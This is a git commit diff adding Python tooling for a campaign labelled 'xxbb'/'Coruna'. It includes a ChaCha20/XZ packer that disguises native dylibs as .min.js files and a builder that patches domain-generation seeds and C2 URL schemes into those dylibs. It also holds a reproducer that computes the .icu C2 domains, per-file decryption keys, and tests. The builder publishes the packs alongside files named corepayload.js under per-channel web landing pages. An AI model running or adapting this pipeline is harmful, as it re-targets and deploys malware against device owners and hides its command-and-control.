feat: xxbb

This commit is contained in:
hashbro
2026-08-13 06:30:07 +08:00
parent f285d35d86
commit c6e386e069
121 changed files with 4083 additions and 51 deletions
@@ -0,0 +1,62 @@
"""Encrypt/decrypt Coruna secondary type-0x01 .min.js packs."""
from __future__ import annotations
import lzma
import struct
from Crypto.Cipher import ChaCha20
WRAP_MAGIC = b"\x0d\xf0\xed\x0b" # 0x0BEDF00D LE
F00D_MAGIC = 0xF00DBEEF
def build_f00dbeef_type01(dylib: bytes) -> bytes:
"""Single-entry F00DBEEF used by this campaign's secondary packs."""
header = struct.pack(
"<6I",
F00D_MAGIC,
1, # version / entry-count field as in sample
0x00010000, # type 0x01
3,
0x18, # payload offset
len(dylib),
)
return header + dylib
def wrap_xz(plaintext: bytes) -> bytes:
compressed = lzma.compress(plaintext, format=lzma.FORMAT_XZ)
return WRAP_MAGIC + struct.pack("<I", len(plaintext)) + compressed
def unwrap_xz(blob: bytes) -> bytes:
if blob[:4] != WRAP_MAGIC:
raise ValueError(f"bad wrap magic: {blob[:4]!r}")
expected = struct.unpack_from("<I", blob, 4)[0]
plain = lzma.decompress(blob[8:])
if len(plain) != expected:
raise ValueError(f"xz size mismatch: {len(plain)} != {expected}")
return plain
def chacha_crypt(data: bytes, key: bytes) -> bytes:
if len(key) != 32:
raise ValueError("ChaCha20 key must be 32 bytes")
return ChaCha20.new(key=key, nonce=b"\x00" * 8).encrypt(data)
def encrypt_secondary_minjs(dylib: bytes, key: bytes) -> bytes:
return chacha_crypt(wrap_xz(build_f00dbeef_type01(dylib)), key)
def decrypt_secondary_minjs(blob: bytes, key: bytes) -> bytes:
plain = unwrap_xz(chacha_crypt(blob, key))
if struct.unpack_from("<I", plain, 0)[0] != F00D_MAGIC:
raise ValueError("not F00DBEEF after decrypt")
offset = struct.unpack_from("<I", plain, 16)[0]
size = struct.unpack_from("<I", plain, 20)[0]
dylib = plain[offset : offset + size]
if len(dylib) != size:
raise ValueError("truncated dylib in F00DBEEF")
return dylib
+569
View File
@@ -0,0 +1,569 @@
#!/usr/bin/env python3
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
Per-channel landing:
{artifact-root}/source/{channel_name}/index.html
Shared details stay at {artifact-root}/details/.
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
2. else {state-root}/lab_seeds.json
3. else random generate + write lab_seeds.json
"""
from __future__ import annotations
import argparse
import hashlib
import json
import re
import secrets
import shutil
from datetime import datetime, timezone
from pathlib import Path
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from reproduce_xxbb_dga import generate_domains
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
CHANNEL_ROOT = "source"
LANDING_NAME = "index.html"
DGA_COUNT = 5
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
RESERVED_CHANNEL_NAMES = frozenset(
{
"admin",
"user",
"api",
"web",
"sync",
"details",
"weifile",
"hooks",
"link",
"statistic",
"vhx",
"event",
"log",
"storage",
"build",
"hot",
"vendor",
"css",
"js",
"up",
"index",
"assets",
"static",
"source",
"channel",
"out",
"t",
"a",
"u",
"uj",
"us",
"ub",
"ba",
"result",
"favicon",
"robots",
"sitemap",
"public",
"app",
"bootstrap",
"config",
"database",
"resources",
"routes",
"tests",
"artisan",
"livewire",
"sanctum",
"telescope",
"horizon",
"pulse",
}
)
def pack_ascii32(name: str, value: str) -> bytes:
data = value.encode("ascii")
if len(data) > 32:
raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
if not data:
raise SystemExit(f"{name} must be non-empty")
return data + b"\x00" * (32 - len(data))
def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
count = 0
start = 0
while True:
index = buf.find(old, start)
if index < 0:
break
buf[index : index + 32] = new32
count += 1
start = index + 32
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
f"count={count} (want {expect}). Already patched?"
)
return count
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
HTTPS_CSTRINGS = (
b"https://backup%u.icu",
b"https://%@",
b"https://",
b"https",
)
def http_cstring(https_s: bytes) -> bytes:
if not https_s.startswith(b"https"):
raise SystemExit(f"not an https C-string: {https_s!r}")
return b"http" + https_s[5:]
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
if b"\x00" in old or b"\x00" in new:
raise SystemExit(f"{label}: C-string must not contain NUL")
if len(new) > len(old):
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
old_c = old + b"\x00"
new_c = new + b"\x00" * (len(old_c) - len(new))
count = 0
start = 0
while True:
index = buf.find(old_c, start)
if index < 0:
break
buf[index : index + len(old_c)] = new_c
count += 1
start = index + len(old_c)
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
f"count={count} (want {expect})"
)
return count
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
if scheme == "https":
for old in HTTPS_CSTRINGS:
if buf.find(old + b"\x00") < 0:
raise SystemExit(f"{label}: missing {old.decode()}\\0")
return
if scheme != "http":
raise SystemExit("--scheme must be http or https")
for old in HTTPS_CSTRINGS:
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
raise SystemExit(f"{label}: https URL formats still present")
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
raise SystemExit(f"{label}: http URL formats missing after patch")
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def load_keys() -> dict:
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta.get("stems")
if not isinstance(stems, dict) or not stems:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
return meta
def group_dylib_path(group: str) -> Path:
files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
if len(files) != 1:
raise SystemExit(f"expected one source dylib for group {group}, found {files}")
return files[0]
def patch_dylib(
data: bytes,
*,
deployment_seed: str,
reporting_seed: str,
channel_c: str,
label: str,
scheme: str = "https",
) -> bytes:
buf = bytearray(data)
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
patch_url_scheme(buf, scheme=scheme, label=label)
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
raise SystemExit(f"{label}: original c still present")
return bytes(buf)
def copy_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
def validate_channel_name(value: str) -> str:
name = (value or "").strip().lower()
if not CHANNEL_NAME_RE.fullmatch(name):
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
if name in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-name {name!r} is reserved")
return name
def gen_seed() -> str:
return secrets.token_hex(16)
def utc_now() -> str:
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
"""First 5 hosts each native shared pool will try.
Both `sharedDeploymentPool` and `sharedReportingPool` init with the
reporting-c CFString (the 32-byte slot this builder patches as channel_c),
not the adjacent C-string dep/rep seeds. Lists are therefore identical.
"""
del dep, rep
hosts = generate_domains(channel_c, count)
return {"deployment": hosts, "reporting": list(hosts)}
def load_lab_seeds(path: Path) -> dict | None:
if not path.is_file():
return None
doc = json.loads(path.read_text())
if not isinstance(doc, dict):
raise SystemExit(f"invalid {path}: not an object")
dep = doc.get("deployment_seed")
rep = doc.get("reporting_seed")
if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
raise SystemExit(f"invalid {path}: missing seeds")
return doc
def write_lab_seeds(
path: Path,
*,
dep: str,
rep: str,
channel_c: str,
domains: dict,
existing: dict | None,
) -> dict:
now = utc_now()
doc = {
"schema_version": 1,
"mode": "dga",
"deployment_seed": dep,
"reporting_seed": rep,
"channel_c": channel_c,
"dga_count": DGA_COUNT,
"domains": domains,
"created_at": (existing or {}).get("created_at") or now,
"updated_at": now,
}
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(doc, indent=2) + "\n")
return doc
def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
if len(dep_list) < 1 or len(rep_list) < 1:
return False
return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])
def _domains_from_existing(
existing: dict | None, dep: str, rep: str, channel_c: str
) -> tuple[dict, bool]:
"""Return (domains, newly_computed)."""
expected = compute_domains(dep, rep, channel_c)
raw = (existing or {}).get("domains") if existing else None
if isinstance(raw, dict):
dep_list = raw.get("deployment")
rep_list = raw.get("reporting")
if (
isinstance(dep_list, list)
and isinstance(rep_list, list)
and _looks_like_xxbb_domains(dep_list, rep_list)
and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
):
return expected, False
return expected, True
def resolve_seeds(
*,
lab_seeds_path: Path,
cli_dep: str | None,
cli_rep: str | None,
cli_c: str | None,
) -> tuple[str, str, str, dict, bool]:
"""Return dep, rep, channel_c, domains, seeds_initialized."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
existing = load_lab_seeds(lab_seeds_path)
channel_c = (cli_c or "").strip() or (
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
)
pack_ascii32("--channel-c", channel_c)
if channel_c == SEVEN_ZIP_PASSWORD:
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
if cli_dep and cli_rep:
dep = cli_dep.strip()
rep = cli_rep.strip()
pack_ascii32("--deployment-seed", dep)
pack_ascii32("--reporting-seed", rep)
if dep != rep:
raise SystemExit("deployment and reporting seeds must match")
if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
if computed or existing.get("channel_c") != channel_c:
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, computed and existing is not None
domains = compute_domains(dep, rep, channel_c)
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, existing is None
if existing:
dep = str(existing["deployment_seed"])
rep = str(existing["reporting_seed"])
pack_ascii32("--deployment-seed", dep)
pack_ascii32("--reporting-seed", rep)
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
if computed:
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, computed
dep = gen_seed()
rep = dep
domains = compute_domains(dep, rep, channel_c)
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
)
return dep, rep, channel_c, domains, True
def default_state_root() -> Path:
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
def main() -> int:
parser = argparse.ArgumentParser(
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--channel-c",
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
)
parser.add_argument(
"--channel-name",
help="per-channel folder + html name; required with --apply",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain {channel_name}/ and details/",
)
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
)
parser.add_argument(
"--out",
type=Path,
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
)
parser.add_argument(
"--apply",
action="store_true",
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace an existing {channel_name}/ directory",
)
parser.add_argument(
"--scheme",
choices=("http", "https"),
default="https",
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
)
args = parser.parse_args()
state_root = (args.state_root or default_state_root()).resolve()
state_root.mkdir(parents=True, exist_ok=True)
dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
lab_seeds_path=state_root / LAB_SEEDS_NAME,
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
cli_c=args.channel_c,
)
channel_name = ""
if args.channel_name:
channel_name = validate_channel_name(args.channel_name)
elif args.apply:
raise SystemExit("--channel-name is required with --apply")
meta = load_keys()
stems = meta["stems"]
groups = sorted({info["group"] for info in stems.values()})
patched: dict[str, bytes] = {}
for group in groups:
path = group_dylib_path(group)
data = patch_dylib(
path.read_bytes(),
deployment_seed=dep,
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme=args.scheme,
)
patched[group] = data
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
out = args.out
if out is None:
out = state_root / "out"
out = out.resolve()
out.mkdir(parents=True, exist_ok=True)
(out / "dylibs").mkdir(exist_ok=True)
for group, data in patched.items():
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
built = []
for stem, info in stems.items():
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
dest = out / f"{stem}.min.js"
dest.write_bytes(wire)
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
print(f" wrote {dest.name} ({len(wire)} bytes)")
weifile_path = ""
details_path = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_channel = artifact / CHANNEL_ROOT / channel_name
dest_details = artifact / "details"
if dest_channel.exists() and not args.force:
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
copy_tree(SOURCE_WEIFILE, dest_channel)
landing = dest_channel / LANDING_NAME
src_html = dest_channel / "weifile.html"
if not src_html.is_file():
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
shutil.copy2(src_html, landing)
copy_tree(SOURCE_DETAILS, dest_details)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = dest_channel / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
details_path = "/details/"
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
print(f" {i:03d} {domain}")
print("reporting domains:")
for i, domain in enumerate(domains.get("reporting") or [], 1):
print(f" {i:03d} {domain}")
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": channel_name or None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"details_path": details_path or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": False,
"domains": domains,
"seeds": {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_c": channel_c,
},
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"scheme": args.scheme,
"notes": [
"details/core not patched; native /event c still original until a later pass",
"index.js iptj URL / channelCode not patched",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",
],
}
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,50 @@
#!/usr/bin/env python3
"""Delete one channel's {channel_name}/ tree; leave shared details/ and lab_seeds.json intact."""
from __future__ import annotations
import argparse
import json
import shutil
import sys
from pathlib import Path
import build as xxbb_build
RESULT_MARKER = "CORUNA_BUILD_RESULT "
def main() -> int:
parser = argparse.ArgumentParser(description="Remove {channel_name}/ from artifact root")
parser.add_argument("--channel-name", required=True)
parser.add_argument(
"--artifact-root",
type=Path,
default=xxbb_build.PROJECT_ROOT / "public",
help="shared artifact root (default: coruna-lab/public)",
)
args = parser.parse_args()
channel_name = xxbb_build.validate_channel_name(args.channel_name)
artifact_root = args.artifact_root.resolve()
channel_dir = artifact_root / xxbb_build.CHANNEL_ROOT / channel_name
removed = False
if channel_dir.is_dir():
shutil.rmtree(channel_dir)
removed = True
print(f"removed {channel_dir}")
else:
print(f"missing {channel_dir} (noop)")
result = {
"status": "deleted" if removed else "absent",
"channel_name": channel_name,
"artifact_root": str(artifact_root),
"removed": removed,
}
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,147 @@
#!/usr/bin/env python3
"""Offline reproducer for xxbb PLServerPool domain generation.
Native path (type-0x01 `_generateDomainsLocked` → helper at 0x81fe0):
srandom(murmur2_0x12345678(seed))
for i in 0 .. count-1:
burn murmur2(seed + "%ld" % i) % 10000 calls to random()
15 chars from [a-z0-9] via random() % 36
format as "%@.icu"
The shared Deployment/Reporting pools both pass the reporting-c CFString
as `seed`. This script performs no DNS lookups.
"""
from __future__ import annotations
import argparse
MASK32 = 0xFFFFFFFF
MURMUR_M = 0x5BD1E995
MURMUR_SEED = 0x12345678
ALNUM = "abcdefghijklmnopqrstuvwxyz0123456789"
LABEL_LEN = 15
TLD = ".icu"
NATIVE_POOL_SIZE = 512
KNOWN_SEEDS = {
"channel-c": "202700cfb1ad3de68e11239dcc26c30b",
"deployment": "321fb0c812b46265421b5ad9654c2b81",
"reporting": "68143bfa7130bb97a642196db0292a12",
}
def murmur_hash2(value: str, seed: int = MURMUR_SEED) -> int:
data = value.encode("utf-8")
result = (seed ^ len(data)) & MASK32
offset = 0
while offset + 4 <= len(data):
block = int.from_bytes(data[offset : offset + 4], "little")
block = (block * MURMUR_M) & MASK32
block ^= block >> 24
block = (block * MURMUR_M) & MASK32
result = (result * MURMUR_M) & MASK32
result ^= block
offset += 4
tail = data[offset:]
if len(tail) == 3:
result ^= tail[2] << 16
if len(tail) >= 2:
result ^= tail[1] << 8
if len(tail) >= 1:
result ^= tail[0]
result = (result * MURMUR_M) & MASK32
result ^= result >> 13
result = (result * MURMUR_M) & MASK32
result ^= result >> 15
return result & MASK32
def _to_i32(value: int) -> int:
value &= MASK32
return value - 0x100000000 if value >= 0x80000000 else value
def _good_rand(value: int) -> int:
"""Park–Miller LCG used by Apple/BSD srandom() (not the weak 1103515245 seed)."""
x = _to_i32(value)
if x == 0:
x = 123459876
hi = int(x / 127773) # C truncates toward zero; Python // floors
lo = x - hi * 127773
x = 16807 * lo - 2836 * hi
if x < 0:
x += 0x7FFFFFFF
return x & MASK32
class BSDRandom:
"""Apple libsystem_c TYPE_3 random()/srandom() (deg=31, sep=3)."""
DEG = 31
SEP = 3
def __init__(self) -> None:
self.state = [0] * self.DEG
self.f = self.SEP
self.r = 0
def srandom(self, seed: int) -> None:
self.state[0] = seed & MASK32
for i in range(1, self.DEG):
self.state[i] = _good_rand(self.state[i - 1])
self.f = self.SEP
self.r = 0
for _ in range(10 * self.DEG):
self.random()
def random(self) -> int:
self.state[self.f] = (self.state[self.f] + self.state[self.r]) & MASK32
value = (self.state[self.f] >> 1) & 0x7FFFFFFF
self.f += 1
if self.f >= self.DEG:
self.f = 0
self.r += 1
else:
self.r += 1
if self.r >= self.DEG:
self.r = 0
return value
def generate_domains(seed: str, count: int = 5) -> list[str]:
"""First `count` hosts the native pool would try (pool itself holds 512)."""
if not 1 <= count <= NATIVE_POOL_SIZE:
raise ValueError(f"count must be between 1 and {NATIVE_POOL_SIZE}")
rng = BSDRandom()
rng.srandom(murmur_hash2(seed))
domains: list[str] = []
for index in range(count):
burn = murmur_hash2(f"{seed}{index}") % 10000
for _ in range(burn):
rng.random()
label = "".join(ALNUM[rng.random() % len(ALNUM)] for _ in range(LABEL_LEN))
domains.append(f"{label}{TLD}")
return domains
def main() -> None:
parser = argparse.ArgumentParser(
description="Reproduce xxbb PLServerPool DGA candidates offline (no network access)."
)
parser.add_argument(
"seed",
nargs="?",
default="channel-c",
help="channel-c, deployment, reporting, or a literal seed",
)
parser.add_argument("-n", "--count", type=int, default=5)
args = parser.parse_args()
seed = KNOWN_SEEDS.get(args.seed, args.seed)
print(f"seed={seed}")
for index, domain in enumerate(generate_domains(seed, args.count), 1):
print(f"{index:03d} {domain}")
if __name__ == "__main__":
main()
@@ -0,0 +1,32 @@
{
"note": "Per-stem ChaCha20 keys from primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds; B is the 747936-byte build (3 stems share bytes).",
"helper_key": "b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676",
"originals": {
"deployment_seed": "321fb0c812b46265421b5ad9654c2b81",
"reporting_seed": "68143bfa7130bb97a642196db0292a12",
"channel_c": "202700cfb1ad3de68e11239dcc26c30b",
"seven_zip_password": "202800cfb1ad3de68e11239dcc26c30b"
},
"stems": {
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
"group": "A"
},
"3215fc5c0f7e2ccced71057fabe5a55944d87412": {
"key": "30041769ac1061ea04ccc1119f7b778736964232dae0fb8c93aa2d09bcb0962e",
"group": "B"
},
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
"group": "B"
},
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
"group": "B"
},
"4612aa650e60e2974a9ec37bbf922c79635b493a": {
"key": "85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb",
"group": "C"
}
}
}
@@ -0,0 +1,239 @@
#!/usr/bin/env python3
from __future__ import annotations
import json
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(TOOLS))
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
import build as xxbb_build # noqa: E402
from reproduce_xxbb_dga import generate_domains # noqa: E402
class XxbbBuildTest(unittest.TestCase):
def test_patch_and_round_trip(self) -> None:
meta = json.loads((TOOLS / "secondary_keys.json").read_text())
dep = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
rep = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
channel_c = "cccccccccccccccccccccccccccccccc"
patched = {}
for group in ("A", "B", "C"):
path = xxbb_build.group_dylib_path(group)
data = xxbb_build.patch_dylib(
path.read_bytes(),
deployment_seed=dep,
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme="https",
)
self.assertEqual(data.count(dep.encode()), 1)
self.assertEqual(data.count(rep.encode()), 1)
self.assertEqual(data.count(channel_c.encode()), 1)
self.assertEqual(data.count(xxbb_build.ORIGINAL_DEP.encode()), 0)
self.assertEqual(data.count(xxbb_build.ORIGINAL_REP.encode()), 0)
self.assertEqual(data.count(xxbb_build.ORIGINAL_C.encode()), 0)
self.assertEqual(data.count(xxbb_build.SEVEN_ZIP_PASSWORD.encode()), 1)
patched[group] = data
for stem, info in meta["stems"].items():
key = bytes.fromhex(info["key"])
wire = __import__("_secondary_pack", fromlist=["encrypt_secondary_minjs"]).encrypt_secondary_minjs(
patched[info["group"]], key
)
out = decrypt_secondary_minjs(wire, key)
self.assertEqual(out, patched[info["group"]])
def test_apply_writes_named_channel_html(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
artifact = Path(tmp) / "public"
state = Path(tmp) / "state"
out = Path(tmp) / "out"
name = "abcd1234"
argv = [
"build.py",
"--deployment-seed",
"11111111111111111111111111111111",
"--reporting-seed",
"11111111111111111111111111111111",
"--channel-c",
"33333333333333333333333333333333",
"--channel-name",
name,
"--artifact-root",
str(artifact),
"--state-root",
str(state),
"--out",
str(out),
"--apply",
"--force",
]
old = sys.argv
try:
sys.argv = argv
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
channel_dir = artifact / "source" / name
details = artifact / "details"
self.assertTrue((channel_dir / "index.js").is_file())
self.assertTrue((channel_dir / "weifile.html").is_file())
self.assertTrue((channel_dir / "index.html").is_file())
self.assertTrue((details / "show.html").is_file())
self.assertTrue((details / "corepayload.js").is_file())
self.assertTrue((details / "helion.js").is_file())
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
blob = (channel_dir / f"{stem}.min.js").read_bytes()
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
dylib = decrypt_secondary_minjs(blob, key)
self.assertIn(b"11111111111111111111111111111111", dylib)
self.assertIn(b"33333333333333333333333333333333", dylib)
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
self.assertIn(b"https://%@\x00", dylib)
self.assertNotIn(b"http://%@\x00", dylib)
seeds = json.loads((state / "lab_seeds.json").read_text())
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333")
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
def test_seeds_generated_once_then_reused(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
state = Path(tmp) / "state"
first = xxbb_build.resolve_seeds(
lab_seeds_path=state / "lab_seeds.json",
cli_dep=None,
cli_rep=None,
cli_c=None,
)
second = xxbb_build.resolve_seeds(
lab_seeds_path=state / "lab_seeds.json",
cli_dep=None,
cli_rep=None,
cli_c=None,
)
self.assertTrue(first[4])
self.assertFalse(second[4])
self.assertEqual(first[:3], second[:3])
self.assertEqual(first[3], second[3])
self.assertEqual(len(first[0]), 32)
self.assertEqual(len(first[1]), 32)
self.assertEqual(first[0], first[1])
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
self.assertEqual(len(first[3]["deployment"]), 5)
self.assertEqual(len(first[3]["reporting"]), 5)
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
def test_xxbb_dga_matches_native_pool(self) -> None:
self.assertEqual(
generate_domains("202700cfb1ad3de68e11239dcc26c30b", 5),
[
"1i6cbgdyj3qdk88.icu",
"avm2jnhejigb0ac.icu",
"hjlif8t069cfbn3.icu",
"os8yvsh2j1dv4mk.icu",
"gb53wymxxljkokf.icu",
],
)
self.assertEqual(
generate_domains("321fb0c812b46265421b5ad9654c2b81", 1),
["8fn4957c5g986jp.icu"],
)
def test_stale_lab_dga_cache_is_recomputed(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
path = Path(tmp) / "lab_seeds.json"
path.write_text(
json.dumps(
{
"deployment_seed": "e8afcf657ad1d47256b33166f6469d6f",
"reporting_seed": "e8afcf657ad1d47256b33166f6469d6f",
"channel_c": xxbb_build.ORIGINAL_C,
"domains": {
"deployment": ["www.xa1qtof56-b1mdjth.cfd"],
"reporting": ["www.xa1qtof56-b1mdjth.cfd"],
},
}
)
)
dep, _rep, channel_c, domains, computed = xxbb_build.resolve_seeds(
lab_seeds_path=path,
cli_dep=None,
cli_rep=None,
cli_c=None,
)
self.assertTrue(computed)
self.assertEqual(dep, "e8afcf657ad1d47256b33166f6469d6f")
self.assertEqual(channel_c, xxbb_build.ORIGINAL_C)
